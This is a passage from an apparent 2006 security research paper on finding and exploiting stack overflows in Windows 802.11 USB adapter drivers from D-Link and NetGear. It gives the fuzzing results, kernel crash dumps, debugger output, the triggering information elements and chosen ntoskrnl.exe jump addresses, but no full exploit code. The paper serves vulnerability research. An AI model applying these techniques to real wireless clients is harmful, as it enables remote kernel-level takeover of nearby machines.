default, a WPA IE will be used as the container for all payloads, regardless
|
|
of whether or not the payloads fit within the IE. This has the effect of
|
|
allowing all payloads smaller than 256 bytes to be part of a well-formed
|
|
packet. Payloads that are larger than 255 bytes will cause the packet to be
|
|
malformed, but perhaps not enough to cause the driver to drop the packet. An
|
|
alternate solution to this issue can be found in the NetGear case study.
|
|
|
|
At this point, the structure of the buffer and the packet as a whole have been
|
|
completely researched and are ready to be tested. The only thing left to do
|
|
is incorporate the arbitrary code that was described in 4.1. Much time was
|
|
spent debugging and improving the code that was used in order to produce a
|
|
reliable exploit.
|
|
|
|
5.2) D-Link
|
|
|
|
Soon after the Broadcom exploit was completed, the authors decided to write a
|
|
suite of fuzzing modules that could discover similar issues in other wireless
|
|
drivers. The first casualty of this process was the A5AGU.SYS driver provided
|
|
with the D-Link's DWL-G132 USB wireless adapter. The authors configured the
|
|
test machine (Windows XP SP2) so that a complete snapshot of kernel memory was
|
|
included in the system crash dumps. This ensures that when a crash occurs,
|
|
enough useful information is there to debug the problem. Next, the latest
|
|
driver for the target device (v1.0.1.41) was installed. Finally, the beacon
|
|
fuzzing module was started and the card was inserted into the USB port of the
|
|
test system. Five seconds later, a beautiful blue screen appeared while the
|
|
crash dump was written to disk.
|
|
|
|
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
|
|
An attempt was made to access a pageable (or completely invalid) address at an
|
|
interrupt request level (IRQL) that is too high. This is usually
|
|
caused by drivers using improper addresses.
|
|
If kernel debugger is available get stack backtrace.
|
|
Arguments:
|
|
Arg1: 56149a1b, memory referenced
|
|
Arg2: 00000002, IRQL
|
|
Arg3: 00000000, value 0 = read operation, 1 = write operation
|
|
Arg4: 56149a1b, address which referenced memory
|
|
|
|
ErrCode = 00000000
|
|
eax=00000000 ebx=82103ce0 ecx=00000002 edx=82864dd0 esi=f24105dc edi=8263b7a6
|
|
eip=56149a1b esp=80550658 ebp=82015000 iopl=0 nv up ei ng nz ac pe nc
|
|
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
|
|
56149a1b ?? ???
|
|
Resetting default scope
|
|
|
|
LAST_CONTROL_TRANSFER: from 56149a1b to 804e2158
|
|
|
|
FAILED_INSTRUCTION_ADDRESS:
|
|
+56149a1b
|
|
56149a1b ?? ???
|
|
|
|
STACK_TEXT:
|
|
805505e4 56149a1b badb0d00 82864dd0 00000000 nt!KiTrap0E+0x233
|
|
80550654 82015000 82103ce0 81f15e10 8263b79c 0x56149a1b
|
|
80550664 f2408d54 81f15e10 82103c00 82015000 0x82015000
|
|
80550694 f24019cc 82015000 82103ce0 82015000 A5AGU+0x28d54
|
|
805506b8 f2413540 824ff008 0000000b 82015000 A5AGU+0x219cc
|
|
805506d8 f2414fae 824ff008 0000000b 0000000c A5AGU+0x33540
|
|
805506f4 f24146ae f241d328 8263b760 81f75000 A5AGU+0x34fae
|
|
80550704 f2417197 824ff008 00000001 8263b760 A5AGU+0x346ae
|
|
80550728 804e42cc 00000000 821f0008 00000000 A5AGU+0x37197
|
|
80550758 f74acee5 821f0008 822650a8 829fb028 nt!IopfCompleteRequest+0xa2
|
|
805507c0 f74adb57 8295a258 00000000 829fb7d8 USBPORT!USBPORT_CompleteTransfer+0x373
|
|
805507f0 f74ae754 026e6f44 829fb0e0 829fb0e0 USBPORT!USBPORT_DoneTransfer+0x137
|
|
80550828 f74aff6a 829fb028 804e3579 829fb230 USBPORT!USBPORT_FlushDoneTransferList+0x16c
|
|
80550854 f74bdfb0 829fb028 804e3579 829fb028 USBPORT!USBPORT_DpcWorker+0x224
|
|
80550890 f74be128 829fb028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e
|
|
805508ac 804dc179 829fb64c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166
|
|
805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46
|
|
805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
|
|
|
|
Five seconds of fuzzing had produced a flaw that made it possible to gain
|
|
control of the instruction pointer. In order to execute arbitrary code,
|
|
however, a contextual reference to the malicious frame had to be located. In
|
|
this case, the edi register pointed into the source address field of the frame
|
|
in just the same way that it did in the Broadcom vulnerability. The bogus eip
|
|
value can be found just past the source address where one would expect it --
|
|
inside one of the randomly generated information elements.
|
|
|
|
kd> dd 0x8263b7a6 (edi)
|
|
8263b7a6 f3793ee8 3ee8a34e a34ef379 6eb215f0
|
|
8263b7b6 fde19019 006431d8 9b001740 63594364
|
|
|
|
kd> s 0x8263b7a6 Lffff 0x1b 0x9a 0x14 0x56
|
|
8263bd2b 1b 9a 14 56 2a 85 56 63-00 55 0c 0f 63 6e 17 51 ...V*.Vc.U..cn.Q
|
|
|
|
The next step was to determine what information element was causing the crash.
|
|
After decoding the in-memory version of the frame, a series of modifications
|
|
and retransmissions were made until the specific information element leading
|
|
to the crash was found. Through this method it was determined that a long
|
|
Supported Rates information element triggers the stack overflow shown in the
|
|
crash above.
|
|
|
|
Exploiting this flaw involved finding a return address in memory that pointed
|
|
to a jmp edi, call edi, or push edi; ret instruction sequence. This was
|
|
accomplished by running the msfpescan application included with the Metasploit
|
|
Framework against the ntoskrnl.exe of our target. The resulting addresses had
|
|
to be adjusted to account for the kernel's base address. The address that was
|
|
chosen for this version of ntoskrnl.exe was 0x804f16eb ( 0x800d7000 +
|
|
0x0041a6eb ).
|
|
|
|
$ msfpescan ntoskrnl.exe -j edi
|
|
[ntoskrnl.exe]
|
|
0x0040365d push edi; retn 0x0001
|
|
0x00405aab call edi
|
|
0x00409d56 push edi; ret
|
|
0x0041a6eb jmp edi
|
|
|
|
Finally, the magic frame was reworked into an exploit module for the 3.0
|
|
version of the Metasploit Framework. When the exploit is launched, a stack
|
|
overflow occurs, the return address is overwritten with the location of a jmp
|
|
edi, which in turn lands on the source address of the frame. The source
|
|
address was modified to be a valid x86 relative jump, which directs execution
|
|
into the body of the first information element. The maximum MTU of 802.11b is
|
|
over 2300 bytes, allowing for payloads of up to 1000 bytes without running
|
|
into reliability issues. Since this exploit is sent to the broadcast address,
|
|
all vulnerable clients within range of the attacker are exploited with a
|
|
single frame.
|
|
|
|
5.3) NetGear
|
|
|
|
For the next test, the authors chose NetGear's WG111v2 USB wireless adapter.
|
|
The machine used in the D-Link exploit was reused for this test (Windows XP
|
|
SP2). The latest version of the WG111v2.SYS driver (v5.1213.6.316) was
|
|
installed, the beacon fuzzer was started, and the adapter was connected to the
|
|
test system. After about ten seconds, the system crashed and another gorgeous
|
|
blue screen appeared.
|
|
|
|
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
|
|
An attempt was made to access a pageable (or completely invalid) address at an
|
|
interrupt request level (IRQL) that is too high. This is usually
|
|
caused by drivers using improper addresses.
|
|
If kernel debugger is available get stack backtrace.
|
|
Arguments:
|
|
Arg1: dfa6e83c, memory referenced
|
|
Arg2: 00000002, IRQL
|
|
Arg3: 00000000, value 0 = read operation, 1 = write operation
|
|
Arg4: dfa6e83c, address which referenced memory
|
|
|
|
ErrCode = 00000000
|
|
eax=80550000 ebx=825c700c ecx=00000005 edx=f30e0000 esi=82615000 edi=825c7012
|
|
eip=dfa6e83c esp=80550684 ebp=b90ddf78 iopl=0 nv up ei pl zr na pe nc
|
|
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
|
|
dfa6e83c ?? ???
|
|
Resetting default scope
|
|
|
|
LAST_CONTROL_TRANSFER: from dfa6e83c to 804e2158
|
|
|
|
FAILED_INSTRUCTION_ADDRESS:
|
|
+ffffffffdfa6e83c
|
|
dfa6e83c ?? ???
|
|
|
|
STACK_TEXT:
|
|
80550610 dfa6e83c badb0d00 f30e0000 0b9e1a2b nt!KiTrap0E+0x233
|
|
WARNING: Frame IP not in any known module. Following frames may be wrong.
|
|
80550680 79e1538d 14c4f76f 8c1cec8e ea20f5b9 0xdfa6e83c
|
|
80550684 14c4f76f 8c1cec8e ea20f5b9 63a92305 0x79e1538d
|
|
80550688 8c1cec8e ea20f5b9 63a92305 115cab0c 0x14c4f76f
|
|
8055068c ea20f5b9 63a92305 115cab0c c63e58cc 0x8c1cec8e
|
|
80550690 63a92305 115cab0c c63e58cc 6d90e221 0xea20f5b9
|
|
80550694 115cab0c c63e58cc 6d90e221 78d94283 0x63a92305
|
|
80550698 c63e58cc 6d90e221 78d94283 2b828309 0x115cab0c
|
|
8055069c 6d90e221 78d94283 2b828309 39d51a89 0xc63e58cc
|
|
805506a0 78d94283 2b828309 39d51a89 0f8524ea 0x6d90e221
|
|
805506a4 2b828309 39d51a89 0f8524ea c8f0583a 0x78d94283
|
|
805506a8 39d51a89 0f8524ea c8f0583a 7e98cd49 0x2b828309
|
|
805506ac 0f8524ea c8f0583a 7e98cd49 214b52ab 0x39d51a89
|
|
805506b0 c8f0583a 7e98cd49 214b52ab 139ef137 0xf8524ea
|
|
805506b4 7e98cd49 214b52ab 139ef137 a7693fa7 0xc8f0583a
|
|
805506b8 214b52ab 139ef137 a7693fa7 dfad502f 0x7e98cd49
|
|
805506bc 139ef137 a7693fa7 dfad502f 81212de6 0x214b52ab
|
|
805506c0 a7693fa7 dfad502f 81212de6 c46a3b2e 0x139ef137
|
|
805507c0 f74a1b57 825f1e40 00000000 829a87d8 0xa7693fa7
|
|
805507f0 f74a2754 026e6f44 829a80e0 829a80e0 USBPORT!USBPORT_DoneTransfer+0x137
|
|
80550828 f74a3f6a 829a8028 804e3579 829a8230 USBPORT!USBPORT_FlushDoneTransferList+0x16c
|
|
80550854 f74b1fb0 829a8028 804e3579 829a8028 USBPORT!USBPORT_DpcWorker+0x224
|
|
80550890 f74b2128 829a8028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e
|
|
805508ac 804dc179 829a864c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166
|
|
805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46
|
|
805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
|
|
|
|
The crash indicates that not only did the fuzzer gain control of the driver's
|
|
execution address, but the entire stack frame was smashed as well. The esp
|
|
register points about a thousand bytes into the frame and the bogus eip value
|
|
inside another controlled area.
|
|
|
|
kd> dd 80550684
|
|
80550684 79e1538d 14c4f76f 8c1cec8e ea20f5b9
|
|
80550694 63a92305 115cab0c c63e58cc 6d90e221
|
|
|
|
kd> s 0x80550600 Lffff 0x3c 0xe8 0xa6 0xdf
|
|
80550608 3c e8 a6 df 10 06 55 80-78 df 0d b9 3c e8 a6 df <.....U.x...<...
|
|
80550614 3c e8 a6 df 00 0d db ba-00 00 0e f3 2b 1a 9e 0b <...........+...
|
|
80550678 3c e8 a6 df 08 00 00 00-46 02 01 00 8d 53 e1 79 <.......F....S.y
|
|
8055a524 3c e8 a6 df 02 00 00 00-00 00 00 00 3c e8 a6 df <...........<...
|
|
8055a530 3c e8 a6 df 00 40 00 e1-00 00 00 00 00 00 00 00 <....@..........
|
|
|
|
Analyzing this bug took a lot more time than one might expect. Suprisingly,
|
|
there is no single field or information element that triggers this flaw. Any
|
|
series of information elements with a length greater than 1100 bytes will
|
|
trigger the overflow if the SSID, Supported Rates, and Channel information
|
|
elements are at the beginning. The driver will discard any frames where the IE
|
|
chain is truncated or extends beyond the boundaries of the received frame.
|
|
This was an annoyance, since a payload may be of arbitrary length and content
|
|
and may not neatly fit into a 255 byte block of data (the maximum for a single
|
|
IE). The solution was to treat the blob of padding and shellcode like a
|
|
contiguous IE chain and pad the buffer based on the content and length of the
|
|
frame. The exploit code would generate the buffer, then walk through the
|
|
buffer as if it was a series of IEs, extending the very last IE via randomized
|
|
padding. This results in a chain of garbage information elements which pass
|
|
the driver's sanity checks and allows for clean exploitation.
|
|
|
|
For this bug, the esp register was the only one pointing into controlled data.
|
|
This introduced another problem -- before the vulnerable function returned, it
|
|
modified stack variables and left parts of the frame corrupted. Although the
|
|
area pointed to by esp was stable, a corrupted block exists just beyond it. To
|
|
solve this, a tiny block of assembly code was added to the exploit that, when
|
|
executed, would jump to the real payload by calculating an offset from the eax
|
|
register. Finding a jmp esp instruction was as simple as running msfpescan on
|
|
ntoskrnl.exe and adjusting it for the kernel base address. The address that
|
|
was chosen for this version of ntoskrnl.exe was 0x804ed5cb (0x800d7000 +
|
|
0x004165cb).
|
|
|
|
$ msfpescan ntoskrnl.exe -j esp
|
|
[ntoskrnl.exe]
|
|
0x004165cb jmp esp
|
|
|
|
6) Conclusion
|
|
|
|
Technology that can be used to help prevent the exploitation of user-mode
|
|
vulnerabilities is now becoming common place on modern desktop platforms.
|
|
This represents a marked improvement that should, in the long run, make the
|
|
exploitation of many user-mode vulnerabilities much more difficult or even
|
|
impossible. That being said, there is an apparent lack of equivalent
|
|
technology that can help to prevent the exploitation of kernel-mode
|
|
vulnerabilities. The public justification for the lack of equivalent
|
|
technology typically centers around the argument that kernel-mode
|
|
vulnerabilities are difficult to exploit and are too few in number to actually
|
|
warrant the integration of exploit prevention features. In actuality, sad
|
|
though it may seem, the justification really boils down to a business cost
|
|
issue. At present, kernel-mode vulnerabilities don't account for enough money
|
|
in lost revenue to support the time investment needed to implement and test
|
|
kernel-mode exploit prevention features.
|
|
|
|
In the interest of helping to balance the business cost equation, the authors
|
|
have described a process that can be used to identify and exploit 802.11
|
|
wireless device driver vulnerabilities on Windows. This process includes
|
|
steps that can be taken to fuzz the different ways in which 802.11 device
|
|
drivers process 802.11 packets. In certain cases, flaws may be detected in a
|
|
particular device driver's processing of certain packets, such as Beacon
|
|
requests and Probe responses. When these flaws are detected, exploits can be
|
|
developed using the features that have been integrated into the 3.0 version of
|
|
the Metasploit Framework that help to streamline the process of transmitting
|
|
crafted 802.11 packets in an effort to gain code execution.
|
|
|
|
Through the description of this process, it is hoped that the reader will see
|
|
that kernel-mode vulnerabilities can be just as easy to identify and exploit
|
|
as user-mode. Furthermore, it is hoped that this description will help to
|
|
eliminate the false impression that all kernel-mode vulnerabilities are much
|
|
more difficult to exploit (keeping in mind, of course, that there are indeed
|
|
kernel-mode vulnerabilities that are difficult to exploit in just the same way
|
|
that there are indeed user-mode vulnerabilities that are difficult to
|
|
exploit). While an emphasis has been put upon 802.11 wireless device drivers,
|
|
many different device drivers have the potential for exposing vulnerabilities.
|
|
Looking toward the future, there are many different opportunities for
|
|
research, both from an attack and defense point of view.
|
|
|
|
From an attack point of view, there's no shortage of interesting research
|
|
topics. As it relates to 802.11 wireless device driver vulnerabilities, much
|
|
more advanced 802.11 protocol fuzzers can be developed that are capable of
|
|
reaching features exposed by all of the protocol client states rather than
|
|
focusing on the unauthenticated and unassociated state. For device drivers in
|
|
general, the development of fuzzers that attack the IOCTL interface exposed by
|
|
device objects would provide good insight into a wide range of locally exposed
|
|
vulnerabilities. Aside from techniques used to identify vulnerabilities, it's
|
|
expected that researching of techniques used to actually take advantage of
|
|
different types of kernel-mode vulnerabilities will continue to evolve and
|
|
become more reliable. From a defense point of view, there is a definite need
|
|
for research that is focused on making the exploitation of kernel-mode
|
|
vulnerabilities either impossible or less reliable. It will be interesting to
|
|
see what the future holds for kernel-mode vulnerabilities.
|
|
|
|
Bibliography
|
|
|
|
[1] bugcheck and skape. Windows Kernel-mode Payload Fundamentals.
|
|
http://www.uninformed.org/?v=3&a=4&t=sumry;
|
|
accessed Dec 2, 2006.
|
|
|
|
[2] eEye. Remote Windows Kernel Exploitation - Step Into the Ring 0.
|
|
http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf;
|
|
accessed Dec 2, 2006.
|
|
|
|
[3] Gast, Matthew S. 802.11 Wireless Networks - The Definitive Guide.
|
|
http://www.oreilly.com/catalog/802dot11/;
|
|
accessed Dec 2, 2006.
|
|
|
|
[4] Lemos, Robert. Device drivers filled with flaws, threaten security.
|
|
http://www.securityfocus.com/news/11189;
|
|
accessed Dec 2, 2006.
|
|
|
|
[5] SoBeIt. Windows Kernel Pool Overflow Exploitation.
|
|
http://xcon.xfocus.org/xcon2005/archives/2005/Xcon2005_SoBeIt.pdf;
|
|
accessed Dec 2, 2006.
|